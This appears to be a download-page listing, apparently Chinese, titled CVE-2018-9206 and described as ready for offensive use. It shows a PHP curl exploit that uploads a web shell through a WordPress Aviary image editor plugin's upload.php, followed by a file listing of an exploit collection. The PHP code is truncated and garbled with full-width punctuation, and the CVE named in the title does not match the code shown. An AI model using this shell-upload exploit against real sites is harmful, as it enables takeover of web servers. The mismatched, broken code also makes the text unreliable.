CVE-2018-9206 exp

CVE-2018-9206漏洞复现exp，可以直接用于攻击性测试。

/*Remote shell upload exploit for aviary-image-editor-add-on-for-gravity-forms v3.0beta */
/*Larry W. Cashdollar @_larry0
6/7/2015
shell will be located http://www.vapidlabs.com/wp-content/uploads/gform_aviary/_shell.php
*/


      $target_url = ‘http://www.vapidlabs.com/wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/
upload.php‘;
      $file_name_with_full_path = ‘/var/www/shell.php‘;

      echo “POST to $target_url $file_name_with_full_path“;
      $post = array（‘name‘ => ‘shell.php‘‘gf_aviary_file‘=>‘@‘.$file_name_with_full_path）;

      $ch = curl_init（）;
      curl_setopt（$ch CURLOPT_URL$target_url）;
      curl_setopt（$ch CURLOPT_POST1）;
      curl_setopt（$ch CURLOPT_POSTFIELDS $post）;
      curl_setopt（$ch CURLOPT_RETURNTRANSFER1）;
      $res

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2018-10-24 15:15  Exploits-master\
     文件        2070  2018-10-24 15:15  Exploits-master\BackWPup_exploit.sh
     目录           0  2018-10-24 15:15  Exploits-master\CVE-2018-9206\
     文件        3608  2018-10-24 15:15  Exploits-master\CVE-2018-9206\CVE-2018-9206.sh
     文件        3085  2018-10-24 15:15  Exploits-master\CVE-2018-9206\CVE-2018-9206.sh.custom
     文件         631  2018-10-24 15:15  Exploits-master\CVE-2018-9206\README.md
     目录           0  2018-10-24 15:15  Exploits-master\CVE-2018-9206\docker\
     文件        1565  2018-10-24 15:15  Exploits-master\CVE-2018-9206\docker\Dockerfile
     文件         589  2018-10-24 15:15  Exploits-master\CVE-2018-9206\docker\install.sh
     文件       49514  2018-10-24 15:15  Exploits-master\CVE-2018-9206\jquery_to_test.txt
     文件        9885  2018-10-24 15:15  Exploits-master\CVE-2018-9206\list_of_forks_tested.txt
     文件      733455  2018-10-24 15:15  Exploits-master\CVE-2018-9206\output
     文件     1053308  2018-10-24 15:15  Exploits-master\CVE-2018-9206\test_results.txt
     文件        5133  2018-10-24 15:15  Exploits-master\HuaweiHomeDeviceUpgrade.txt
     文件        1087  2018-10-24 15:15  Exploits-master\LICENSE
     文件          39  2018-10-24 15:15  Exploits-master\README.md
     文件        2558  2018-10-24 15:15  Exploits-master\WP-DB-Backup-v2.2.4
     文件         863  2018-10-24 15:15  Exploits-master\Xcloner_v3.1.1_dbbackup_download-exploit
     文件         906  2018-10-24 15:15  Exploits-master\aviary_upload_exp.php
     文件        1349  2018-10-24 15:15  Exploits-master\ejb_exp.sh
     文件        1126  2018-10-24 15:15  Exploits-master\elastic_search_remote
     文件        1145  2018-10-24 15:15  Exploits-master\mobile_plugin_exploit.sh
     文件        1996  2018-10-24 15:15  Exploits-master\se-album-exp.py
     文件        1692  2018-10-24 15:15  Exploits-master\videowhisper_poc.sh
     文件         807  2018-10-24 15:15  Exploits-master\wordpress-cve-2017-1001000.sh